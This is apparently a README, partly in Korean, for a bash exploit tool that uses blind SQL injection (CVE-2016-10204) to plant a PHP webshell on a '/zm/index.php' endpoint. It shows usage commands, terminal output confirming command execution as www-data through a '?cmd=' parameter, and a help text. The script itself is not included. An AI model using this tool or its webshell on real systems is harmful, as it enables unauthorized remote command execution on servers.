0xnullcomet/cve-2016-10204_webshellCVE-2016-10204를 대상 엔드포인트에 대해 수동으로 익스플로잇하여 PHP 웹쉘을 업로드하는 과정을 보여주는 bash 스크립트입니다.
대상 엔드포인트에 대해 CVE-2016-10204의 수동 익스플로잇을 시연하고 PHP 웹쉘 업로드로 이어지는 bash 스크립트입니다.
현재 webshell 변수는 MySQL 페이로드로 설정되어 있습니다. 이는 대상으로 삼아야 하는 백엔드에 따라 변경할 수 있습니다.
이 CVE에 대한 자세한 정보는 다음 출처에서 확인할 수 있습니다:
이 스크립트는 여러 방식으로 작동합니다:
Usage:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php
General Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>
Help:
Example:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23
[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Rerunning against an already exploited target:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Webshell already deployed. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Included help:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.
More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1
Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>
Example:
/bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.